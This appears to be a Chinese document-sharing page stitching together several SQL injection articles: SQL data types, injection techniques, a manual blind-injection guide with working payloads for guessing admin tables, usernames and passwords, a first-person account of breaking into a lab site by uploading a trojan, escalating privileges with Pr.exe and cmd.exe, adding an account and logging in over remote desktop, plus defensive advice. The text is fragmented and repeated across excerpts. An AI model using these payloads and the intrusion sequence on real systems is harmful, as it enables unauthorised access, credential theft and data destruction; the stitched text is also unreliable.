当前位置:文档之家› 浅谈SQL及SQL注入

浅谈SQL及SQL注入

浅谈SQL及SQL注入
浅谈SQL及SQL注入

浅谈SQL及SQL注入

结构化查询语言(Structured Query Language)简称SQL,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库;同时也是数据库脚本文件的扩展名的扩展名,如vf中的脚本文件。

SQL 是1986年10 月由美国国家标准局通过的数据库语言美国标准,接着,国际标准化组织颁布了SQL正式国际标准。1989年4月,ISO提出了具有完整性特征的SQL89标准,1992年11月又公布了SQL92标准,在此标准中,把数据库分为三个级别:基本集、标准集和完全集。

SQL五种数据类型分别是:字符型,文本型,数值型,逻辑型和日期型。

一、字符型

Varchar和char。varchar和char型数据差别非常小,他们都是用来储存字符串长度小于255的字符。varchar型字段的另一个突出的好处是它可以比char型字段占用更少的内存和硬盘空间。当你的数据库很大时,这种内存和磁盘空间的节省会变得非常重要。

二、文本型

TXT. 。当需要存储大串的字符时,应该使用文本型数据。而文本型数据没有长度,一个文本型字段中的数据通常要么为空,要么很大。但是,无论何时,只要你能避免使用文本型字段,你就应该不使用它。文本型字段既大且慢,滥用文本型字段会使服务器速度变慢。文本型字段还会吃掉大量的磁盘空间。

一旦你向文本型字段中输入了任何数据(甚至是空值),就会有2K的空间被自动分配给该数据。除非删除该记录,否则你无法收回这部分存储空间。

三、数值型

INT,TINYINT.通常,为了节省空间,应该尽可能的使用最小的整型数据。一个TINYINT型数据只用一个字节;一个INT型数据占用四个字节。这看起来似乎差别不大,但是在比较大的表中,字节数的增长是很快的。另一方面,一旦你已经创建了一个字段,要修改它是很困难的。因此,为安全起见,你应该预测一下,一个字段所需要存储的数值最大有可能是多大,然后选择适当的数据类型。

NUMERIC.为了能对字段所存放的数据有更多的控制,你可以使用NUMERIC型数据来

同时表示一个数的整数部分和小数部分。NUMERIC型数据使你能表示非常大的数——比INT型数据要大得多。一个NUMERIC型字段可以存储从-1038到1038范围内的数。NUMERIC型数据还使你能表示有小数部分的数。例如,你可以在NUMERIC型字段中存储小数3.14。

MONEY,SMALLMONEY.你可以使用INT型或NUMERIC型数据来存储钱数。但是,专门有另外两种数据用于此目的。如果你希望你的网点能挣很多钱,你可以使用MONEY 型数据。如果你的野心不大,你可以使用SMALLMONEY型数据。MONEY型数据可以存储从-922,337,203,685,477.5808到922,337,203,685,477.5807的钱数。如果你需要存储比这还大的金额,你可以使用NUMERIC型数据。SMALLMONEY型数据只能存储从-214,748.3648到214,748.3647 的钱数。同样,如果可以的话,你应该用SMALLMONEY型来代替MONEY 型数据,以节省空间。

四、逻辑型

如果使用复选框从网页中搜集信息,可以把此信息存储在BIT型字段中。BIT型字段只能取两个值:0或1。但在创建好一个表之后,不能向表中添加BIT型字段。如果打算在一个表中包含BIT型字段,必须在创建表时完成。

五、日期型

DA TETIME SMALLDATETIME。一个DA TETIME型的字段可以存储的日期范围是从1753年1月1日第一毫秒到9999年12月31日最后一毫秒。如果你不需要覆盖这么大范围的日期和时间,你可以使用SMALLDATETIME型数据。它与DATETIME型数据同样使用,只不过它能表示的日期和时间范围比DATETIME型数据小,而且不如DATETIME型数据精确。一个SMALLDATETIME型的字段能够存储从1900年1月1日到2079年6月6日的日期,它只能精确到秒。DATETIME型字段在你输入日期和时间之前并不包含实际的数据。

SQL注入

SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入攻击。SQL注入技术

一、强制产生错误

对数据库类型、版本等信息进行识别是此类型攻击的动机所在。它的目的是收集数据库的类型、结构等信息为其他类型的攻击做准备,可谓是攻击的一个预备步骤。利用应用程序服务器返回的默认错误信息而取得漏洞信息。

二、采用非主流通道技术

除HTTP响应外,能通过通道获取数据,然而,通道大都依赖与数据库支持的功能而存在,所以这项技术不完全适用于所有的数据库平台。SQL注入的非主流通道主要有E-mail、DNS以及数据库连接,基本思想为:先对SQL查询打包,然后借助非主流通道将信息反馈至攻击者。

三、使用特殊的字符

不同的SQL数据库有许多不同是特殊字符和变量,通过某些配置不安全或过滤不细致的应用系统能够取得某些有用的信息,从而对进一步攻击提供方向。

四、使用条件语句

此方式具体可分为基于内容、基于时间、基于错误三种形式。一般在经过常规访问后加上条件语句,根据信息反馈来判定被攻击的目标。

五、利用存储过程

通过某些标准存储过程,数据库厂商对数据库的功能进行扩展的同时,系统也可与进行交互。部分存储过程可以让用户自行定义。通过其他类型的攻击收集到数据库的类型、结构等信息后,便能够建构执行存储过程的命令。这种攻击类型往往能达到远程命令执行、特权扩张、拒绝服务的目的。

六、避开输入过滤技术

虽然对于通常的编码都可利用某些过滤技术进行SQL注入防范,但是鉴于此种情况下也有许多方法避开过滤,一般可达到此目的的技术手段包括SQL注释和动态查询的使用,

利用截断,URL编码与空字节的使用,大小写变种的使用以及嵌套剥离后的表达式等等。借助于此些手段,输入构思后的查询可以避开输入过滤,从而攻击者能获得想要的查询结果。

七、推断技术

此种方式的攻击通过网站对用户输入的反馈信息,对可注入参数、数据库模式推断,这种攻击构造的查询执行后获得的答案只有真、假两种。基于推断的注入方式主要分为时间测定注入与盲注入两种。前者是在注入语句里加入语句诸如“waitfor 100”,按照此查询结果出现的时间对注入能否成功和数据值范围的推导进行判定;后者主要是“and l=l”、“and l=2”两种经典注入方法。这些方式均是对一些间接关联且能取得回应的问题进行提问,进而通过响应信息推断出想要信息,然后进行攻击。

SQL手工注入主要有以下几个步骤:

1.判断有无注入点

and 1=1 and 1=2

2.猜表一般的表的名称基本是是admin administrator user pass password 等..

and 0<>(select count(*) from *)

and 0<>(select count(*) from admin) ---判断是否存在admin这张表

3.猜帐号数目如果遇到0< 返回正确页面,1<返回错误页面,说明帐号数目就是1个

and 0<(select count(*) from admin)

and 1<(select count(*) from admin)

4.猜解字段名称,len为长度

5.and 1=(select count(*) from admin where len(*)>0)--

and 1=(select count(*) from admin where len(用户字段名称name)>0)

and 1=(select count(*) from admin where len(密码字段名称password)>0)

5.猜解各个字段的长度猜解长度就是把>0变换直到返回正确页面为止

and 1=(select count(*) from admin where len(*)>0)

6.猜解字符

and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位

and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位

就这样一次加一个字符这样猜,猜到够刚才猜出来的多少位了就对了,帐号就算出来了。

接下来个人感觉猜解密码相对比较困难,可用工具去对要入侵网站进行扫描。我自己成功拿下的一个站是一个注入实验站点,IP为192.168.1.240,属于内网。我用明小子对网址扫描,以上几步手工注入都可省略,当所要入侵站点有注入点时,用明小子扫描出账户名,密码,数据库类型。找到登录数据库地址,用账户密码登录上。用数据库功能上传自己的木马来控制数据库,如数据库有Pr漏洞,上传Pr.exe。接着上传cmd.exe,用来添加新账户并提权。一般数据库有上传文件大小限制,一般在200k内,cmd.exe为470k,只能通过用服务器自己来下载cmd,将自己电脑system32中的cmd,exe上传到网上,用服务器下载下来。数据库中cmd项便可使用,用命令行添加账户并提权,使自己拥有账户控制数据库。接着在自己电脑用运行输入mstsc进行远程桌面连接,输入目标IP,用自己添加的账户登录,这样就成功拿下一个网站。

SQL注入攻击的种类和防范手段--IT专家网

观察近来的一些安全事件及其后果,安全专家们已经得到一个结论,这些威胁主要是通过SQL注入造成的。虽然前面有许多文章讨论了SQL注入,但今天所讨论的内容也许可帮助你检查自己的服务器,并采取相应防范措施。 SQL注入攻击的种类 知彼知己,方可取胜。首先要清楚SQL注入攻击有哪些种类。 1.没有正确过滤转义字符 在用户的输入没有为转义字符过滤时,就会发生这种形式的注入式攻击,它会被传递给一个SQL语句。这样就会导致应用程序的终端用户对数据库上的语句实施操纵。比方说,下面的这行代码就会演示这种漏洞: statement := "SELECT * FROM users WHERE name = '" + userName + "';" 这种代码的设计目的是将一个特定的用户从其用户表中取出,但是,如果用户名被一个恶意的用户用一种特定的方式伪造,这个语句所执行的操作可能就不仅仅是代码的作者所期望的那样了。例如,将用户名变量(即username)设置为:a' or 't'='t,此时原始语句发生了变化:SELECT * FROM users WHERE name = 'a' OR 't'='t'; 如果这种代码被用于一个认证过程,那么这个例子就能够强迫选择一个合法的用户名,因为赋值't'='t永远是正确的。 在一些SQL服务器上,如在SQL Server中,任何一个SQL命令都可以通过这种方法被注入,包括执行多个语句。下面语句中的username的值将会导致删除“users”表,又可以从“data”表中选择所有的数据(实际上就是透露了每一个用户的信息)。 a';DROP TABLE users; SELECT * FROM data WHERE name LIKE '% 这就将最终的SQL语句变成下面这个样子: SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM DATA WHERE name LIKE '%'; 其它的SQL执行不会将执行同样查询中的多个命令作为一项安全措施。这会防止攻击者注入完全独立的查询,不过却不会阻止攻击者修改查询。 2.Incorrect type handling 如果一个用户提供的字段并非一个强类型,或者没有实施类型强制,就会发生这种形式的攻击。当在一个SQL语句中使用一个数字字段时,如果程序员没有检查用户输入的合法性(是否为数字型)就会发生这种攻击。例如: statement := "SELECT * FROM data WHERE id = " + a_variable + ";" 从这个语句可以看出,作者希望a_variable是一个与“id”字段有关的数字。不过,如果终端用户选择一个字符串,就绕过了对转义字符的需要。例如,将a_variable设置为:1;DROP TABLE users,它会将“users”表从数据库中删除,SQL语句变成: SELECT * FROM DAT A WHERE id = 1;DROP TABLE users;

SQL注入经典教程(珍藏版)

听说很多人想学SQL手工注入,但网上的资料都很不全,我在家没事就帮大家找了一些关于SQL手工注入经典的教程,希望能给大家带来帮助...... SQL 注入天书 - ASP 注入漏洞全接触收藏 引言 随着 B/S 模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的 SQL Injection,即SQL注入。 SQL注入是从正常的 WWW 端口访问,而且表面看起来跟一般的 Web 页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看 IIS 日志的习惯,可能被入侵很长时间都不会发觉。 但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。 根据国情,国内的网站用 ASP+Access 或 SQLServer 的占 70% 以上, PHP+MySQ 占 20%,其他的不足 10%。在本文,我们从分入门、进阶至高级讲解一下 ASP 注入的方法及技巧,PHP 注入的文章由 NB 联盟的另一位朋友zwell 撰写,希望对安全工作者和程序员都有用处。了解 ASP 注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗? Lets Go... 入门篇 如果你以前没试过SQL注入的话,那么第一步先把 IE 菜单 =>工具 => Internet 选项 => 高级 => 显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为 HTTP 500 服务器错误,不能获得更多的提示信息。 第一节、SQL注入原理 以下我们从一个网站https://www.doczj.com/doc/9d15668273.html,开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。 在网站首页上,有名为“ IE 不能打开新窗口的多种解决方法”的链接,地址为:https://www.doczj.com/doc/9d15668273.html,/showdetail.asp?id=49,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示: Microsoft JET Database Engine 错误 80040e14 字符串的语法错误在查询表达式 ID=49 中。 /showdetail.asp,行8

SQL注入原理及解决办法

SQL注入原理及解决办法 SQL注入就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。对于很多网站都有用户提交表单的端口,提交的数据插入MySQL数据库中,就有可能发生SQL注入安全问题,那么,如何防止SQL注入呢? 针对SQL注入安全问题的预防,需时刻认定用户输入的数据是不安全的,并对用户输入的数据进行过滤处理,对不同的字段进行条件限制,符合条件的可以写入数据库,不符合条件的进行数据过滤处理! 防止SQL注入,需要注意以下几点: 1. 永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和双"-"进行转换等。 2. 永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。 3. 永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。 4. 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。 5. 应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装 6. sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台就有亿思网站安全平台检测工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻击等。

防止SQL注入之转义特殊输入字符 在脚本语言中,提供了可以对用户输入的数据进行转义的函数,如PHP的MySQL扩展提供了mysqli_real_escape_string()函数来转义特殊的输入字符,从而来防止SQL注入。 if (get_magic_quotes_gpc()) { $name = stripslashes($name); } $name = mysqli_real_escape_string($conn, $name); mysqli_query($conn, "SELECT * FROM users WHERE name='{$name}'"); 以上是防止SQL注入的常用思路和方法,具体的做法还需要根据实际问题进行设定,感兴趣的可以深入学习!

数据库SQL注入分类及防护思路数据库SQL注入分类及防护思路

数据库SQL注入分类及防护思路 作者:安华金和思成 一. 背景 数据库凭借其强大的数据存储能力和卓越的数据处理性能,在各行各业的信息化建设中发挥着关键的作用。随着数据库在各行业的大规模应用,数据泄露事件也频繁发生,这就使数据库安全问题也日益凸显,逐渐变成用户越来越担心的问题。虽然数据库厂商已经做了许多有效的措施来尽量解决数据库存在的安全问题,但至今为止数据库的安全漏洞仍然不断增加。下图为近5年数据库漏洞数量图。 在数据库漏洞中最为常见的漏洞类型是SQL注入漏洞。安华金和数据库攻防实验室结合多年的实践结果总结出了数据库注入的分类分享给大家,以便大家对SQL注入型漏洞有一个更加全面的了解。 SQL注入漏洞不仅出现在WEB端,也出现在数据库的自定义或标准库的存储过程、函数、触发器中。数据库自身的SQL注入漏洞比WEB端的注入漏洞对数据库的威胁性更大。本文对SQL注入的分类是从数据库的角度来划分,不考虑WEB端的角度,这两者在分类上有着不同的角度。 首先在解释不同的数据库SQL注入漏洞之前先简要说明一下数据库攻击者能够进行SQL 注入的主要原理:SQL注入漏洞是用户在输入中混入了程序命令。最直接的例子就是攻击者

在正常的Web 页面中把自己的SQL 代码通过用户输入传输到相应的应用程序中,从而执行 一些非授权的SQL 代码,以达到修改、窃取或者破坏数据库信息的目的。SQL 注入攻击甚至可以帮组攻击者绕过用户认证机制,使其可以完全的操控远程服务器上的数据库。如果应用 程序使用一些用户输入的数据来构造动态的SQL语句去访问数据库,将可能遭受到SQL 注入攻击。同样的如果在代码中使用了存储过程,并且这些存储过程缺乏对用户输入的合理限 制也很容易发生SQL 注入。 二. SQL注入分类 2.1 注入途径分类 SQL注入漏洞按照注入的物理途径可以分成两大类:通过WEB端对数据库进行注入攻 击和直接访问数据库进行注入攻击。 直接访问数据库进行注入攻击是以数据库用户的身份直接连接数据库进行SQL注入攻击。在这种攻击方式中,攻击者可以通过SQL注入来执行SQL语句从而提高用户权限或者越权 执行。而那些在PL/SQL程序中在给用户授权的时候没有使用authid current_user进行定义 的存储过程、函数、触发器、程序块将更容易受到SQL注入攻击。 通过WEB应用程序的用户对数据库进行连接并进行SQL注入攻击。在这种类型的SQL 注入攻击中,攻击者多采用拼接语句的方法来改变查询的内容。获取该账号权限下的全部信息。

sql注入攻击详解 sql注入解决办法

前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误。其实sql注入漏洞就是一个。作为一个菜鸟小程序员,我对sql注入的东西了解的也不深入,所以抽出时间专门学习了一下。现在把学习成果分享给大家,希望可以帮助大家学习。下面我们就来看一下。 一、什么是sql注入呢? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL 命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB 表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql 注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。黑客通过SQL注入攻击可以拿到网站数据库的访问权限,之后他们就可以拿到网站数据库中所有的数据,恶意的黑客可以通过SQL注入功能篡改数据库中的数据甚至会把数据库中的数据毁坏掉。做为网络开发者的你对这种黑客行为恨之入骨,当然也有必要了解一下SQL注入这种功能方式的原理并学会如何通过代码来保护自己的网站数据库 二、sql注入产生原因

sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql 语句以及进行其他方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因。对于java数据库连接JDBC而言,SQL注入攻击只对Statement有效,对PreparedStatement 是无效的,这是因为PreparedStatement不允许在不同的插入时间改变查询的逻辑结构。 如验证用户是否存在的SQL语句为: 用户名'and pswd='密码 如果在用户名字段中输入: 'or 1=1或是在密码字段中输入:'or 1=1 将绕过验证,但这种手段只对只对Statement有效,对PreparedStatement 无效。相对Statement有以下优点: 1.防注入攻击 2.多次运行速度快 3.防止数据库缓冲区溢出 4.代码的可读性可维护性好 这四点使得PreparedStatement成为访问数据库的语句对象的首选,缺点是灵活性不够好,有些场合还是必须使用Statement。 三、sql注入原理 下面我们来说一下sql注入原理,以使读者对sql注入攻击有一个感性的认识,至于其他攻击,原理是一致的。

sql注入方法

一、SQL注入简介 对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库。 二、SQL注入攻击的总体思路 1.寻找到SQL注入的位置 2.判断服务器类型和后台数据库类型 3.针对不通的服务器和数据库特点进行SQL注入攻击 =========================================== 三、SQL注入攻击实例 比如在一个登录界面,要求输入用户名和密码: 可以这样输入实现免帐号登录: 用户名:‘or 1 = 1 – 密码: 点登陆,如若没有做特殊处理,那么这个非法用户就很得意的登陆进去了.(当然现在的有些语言的数据库API已经处理了这些问题) 这是为什么呢? 下面我们分析一下: 从理论上说,后台认证程序中会有如下的SQL语句: String sql = "select * from user_table where username= ' "+userName+" ' and password=' "+password+" '";当输入了上面的用户名和密码,上面的SQL 语句变成: SELECT * FROM user_table WHERE username= '’or 1 = 1 -- and password='’分析SQL语句: 条件后面username=”or 1=1 用户名等于”或1=1 那么这个条件一定会成功; 然后后面加两个-,这意味着注释,它将后面的语句注释,让他们不起作用,这样语句永远都能正确执行,用户轻易骗过系统,获取合法身份。 这还是比较温柔的,如果是执行 SELECT * FROM user_table WHERE username='' ;DROP DA TABASE (DB Name) --' and password=''….其后果可想而知… ============================================

PHP防范SQL注入的基本方法

PHP防范SQL注入的基本方法 一个优秀的PHP程序员除了要能顺利的编写代码,还需要具备使程序处于安全环境下的能力。今天我们要向大家讲解的是有关PHP防范SQL注入的相关方法。 说到网站安全就不得不提到SQL注入(SQL Injection),如果你用过ASP,对SQL注入一定有比较深的理解,PHP的安全性相对较高,这是因为MYSQL4以下的版本不支持子语句,而且当php.ini里的magic_quotes_gpc 为On 时。 提交的变量中所有的' (单引号), " (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符,给SQL注入带来不少的麻烦。 请看清楚:“麻烦”而已~这并不意味着PHP防范SQL注入,书中就讲到了利用改变注入语句的编码来绕过转义的方法,比如将SQL语句转成ASCII编码(类似:char(100,58,92,108,111,99,97,108,104,111,115,116…)这样的格式),或者转成16进制编码,甚至还有其他形式的编码,这样以来,转义过滤便被绕过去了,那么怎样防范呢: 1、打开magic_quotes_gpc或使用addslashes()函数 在新版本的PHP中,就算magic_quotes_gpc打开了,再使用addslashes()函数,也不会有冲突,但是为了更好的实现版本兼容,建议在使用转移函数前先检测magic_quotes_gpc状态,或者直接关掉,代码如下: PHP防范SQL注入的代码 // 去除转义字符 function stripslashes_array($array) { if (is_array($array)) { foreach ($array as $k => $v) { $array[$k] = stripslashes_array($v);

明小子的用法及SQL注入提权

明小子的用法及SQL注入提权 注意:学习的目的是为了防护,任何实施入侵电脑的行为都是犯罪!!! 一、什么是SQL注入 asp编程门槛很低,新手很容易上路。在一段不长的时间里,新手往往就已经能够编出看来比较完美的动态网站,在功能上,老手能做到的,新手也能够做到。那么新手与老手就没区别了吗?这里面区别可就大了,只不过外行人很难一眼就看出来罢了。在界面的友好性、运行性能以及网站的安全性方面是新手与老手之间区别的三个集中点。 而在安全性方面,新手最容易忽略的问题就是SQL注入漏洞的问题。用NBSI 2.0对网上的一些ASP网站稍加扫描,就能发现许多ASP网站存在SQL注入漏洞,教育网里高校内部机构的一些网站这种漏洞就更普遍了,可能这是因为这些网站大都是一些学生做的缘故吧,虽然个个都很聪明,可是毕竟没有经验,而且处于学习中,难免漏洞多多了。 相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。如这是一个正常的网址http://localhost/lawjia/show.asp?ID=444,将这个网址提交到服务器后,服务器将进行类似Select * from 表名where 字段="&ID的查询(ID 即客户端提交的参数,本例是即444),再将查询结果返回给客户端,如果这里客户端故意提交这么一个网址: http://localhost/lawjia/show.asp?ID=444 and user>0,这时,服务器运行Select * from 表名where 字段=444 and user>0这样的查询,当然,这个语句是运行不下去的,肯定出错,错误信息如下: ·错误类型: Microsoft OLE DB PRovider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server]将nvarchar 值'sonybb' 转换为数据类型为int 的列时发生语法错误。 但是别有用心的人从这个出错信息中,可以获得以下信息:该站使用MS_SQL数据库,用ODBC连接,连接帐号名为:sonybb。 所谓SQL注入(SQL Injection),就是利用程序员对用户输入数据的合法性检测不严或不检测的特点,故意从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取想得到的资料。 通常别有用心者的目标是获取网站管理员的帐号和密码。比如当某个人知道网站管理员帐号存在表login中,管理员帐号名为admin,他想知道管理员密码,这里他从客户端接着提交这样一个网址: http://localhost/lawjia/show.asp?ID=444 and (Select passWord from login where user_name='admin')>0,返回的出错信息如下: ·错误类型: Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server]将varchar 值'!@#*&admin' 转换为数据类型为int 的列时发生语法错误。

sql注入从入门到精通

SQL注入漏洞全接触一 --转载 应用程序, 安全隐患, 防火墙, 管理员, 数据库SQL, 漏洞 一入门 随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。 SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。 但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。 根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP 注入的文章由NB联盟的另一位朋友zwell撰写,希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗?Let's Go... 入门篇 如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。 第一节、SQL注入原理 以下我们从一个网站https://www.doczj.com/doc/9d15668273.html,开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。 在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为: https://www.doczj.com/doc/9d15668273.html,/showdetail.asp?id=49,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示: Microsoft JET Database Engine 错误 '80040e14' 字符串的语法错误在查询表达式 'ID=49'' 中。 /showdetail.asp,行8 从这个错误提示我们能看出下面几点:

避免SQL注入三种主要方法

避免SQL注入三大方法 要说SQL注入还要从看.NET视频开始说起,听说在程序开发过程中,我们经常会遇到SQL 注入问题,也就是指令隐码攻击。具体的原理到底是怎么回事儿,查了些资料好像涉及到了编译原理,也没能够看明白,只是视频中讲到了这三种方法是经常用来避免SQL注入最常用的方法,于是查些资料希望能对现学的知识有一定的了解。下面是对这三种方法具体如何使用的一个简单的介绍。 一、存储程序 在学习数据库视频的时候接触过,它是存储在数据库中的一些事先编译好的指令。在用的时候不用重新编写,直接调用就好了。所以,使用它可以大大提高程序的执行效率。 那么,如何创建一个存储程序并使用它呢?这是我们今天要解决的问题。 1.创建过程 可编程性——下拉菜单——存储过程——右键——查询菜单———指定模板参数的值——新建查询——输入语句——查询菜单中的分析检查语法是否正确——执行 2.具体创建语法 在创建存储程序时,为了应对各种变换的数据,通常会涉及到带参数的存储程序,其中参数用@来表示。 Create Procedure procedurename[:number] --[:number]表示一组存储程序中的第几个,如果只有一个,此参数可忽略 [@parameter data_type] [default] [OUTPUT] --@parameter表示存储过程中的参数,default 表示默认值,OUTPUT表示输出值即输出值as SqlStatement --[]代表可选参数 3.具体执行过程 exec[ute] procedurename [参数] 举例: --创建 CreateProcedure scores @score1smallint,@score2smallint,@score3smallint,@score4smallint,@score5smallint,@myAvgsmallint Output --Output可用return来代替As select @myAvg=(@score1+@score2+@score3+@score4+@score5)/5 --调用过程 Declare@avgscore smallint --将输出结果放在avgscore中 Execavgscore Output 5,6,7,8,9, --带有参数的存储过程调用时,必须加上Output关键字,否则SQL会当做参数来对待 小结:存储程序的创建可分为带参数和不带参数,以及含有默认值和输出值得存储程序,但是它们的使用原理是一样的。只是带输出值得存储程序在调用过程中要使用关键字Output 来对要输出的变量进行声明,否则SQL会将它当做参数来处理。 注意:创建存储程序后,我们可以在编写程序时,直接调用存储程序的名称来代替复杂的查询语句: strSQL="select ............;" strSQL="Execute procedureName;" 二、参数化SQL 是指在设计与数据库链接并访问数据时,在需要填入数值或数据的地方,使用参数(Parameter) 来给值,用@或?来表示参数。 在使用参数化查询的情况下,数据库服务器不会将参数的内容视为SQL指令的一部份来处理,而是在数据库完成SQL 指令的编译后,才套用参数运行,因此就算参数中含有恶意的指令,

经典sql注入教程

经典sql注入教程 SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防 火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。 但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析, 构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。 根据国情,国内的网站用ASP+Access或SQLServ er的占70%以上,PHP+M y SQ占L20%,其他的不足10%。在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell 撰写,希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇,因为部分人对注入 的基本判断方法还存在误区。大家准备好了吗?Let's Go... 入门篇 如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Intern et选项=>高级=>显示友好HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更 多的提示信息。 第一节、SQL注入原理 以下我们从一个网站https://www.doczj.com/doc/9d15668273.html,开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。 在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为: https://www.doczj.com/doc/9d15668273.html,/showd etail.asp?id=49,我们在这个地址后面加上单引号?,服务器会返回下面的错 误提示: Microsoft JET Datab ase Engin e 错误'80040e14' 字符串的语法错误在查询表达式'ID=49'' 中。 /showdetail.asp,行8 从这个错误提示我们能看出下面几点: 1. 网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。 2. 程序没有判断客户端提交的数据是否符合程序要求。 3. 该SQL语句所查询的表中有一名为ID的字段。 从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的 信息,从而获取你想到得到的资料。 第二节、判断能否进行SQL注入 看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,这不是很简单吗? 其实,这并不是最好的方法,为什么呢? 首先,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话, SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理URL 时服务器上出错。请和系统管 理员联络。 其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数,如 果你用单引号测试,是测不到注入点的 那么,什么样的测试方法才是比较准确呢?答案如下: ①https://www.doczj.com/doc/9d15668273.html,/showd etail.asp?id=49 ②https://www.doczj.com/doc/9d15668273.html,/showd etail.asp?id=49 ;and 1=1 ③https://www.doczj.com/doc/9d15668273.html,/showd etail.asp?id=49 ;and 1=2 这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了: 可以注入的表现: ①正常显示(这是必然的,不然就是程序有错误了) ②正常显示,内容基本与①相同

sql注入过程详解

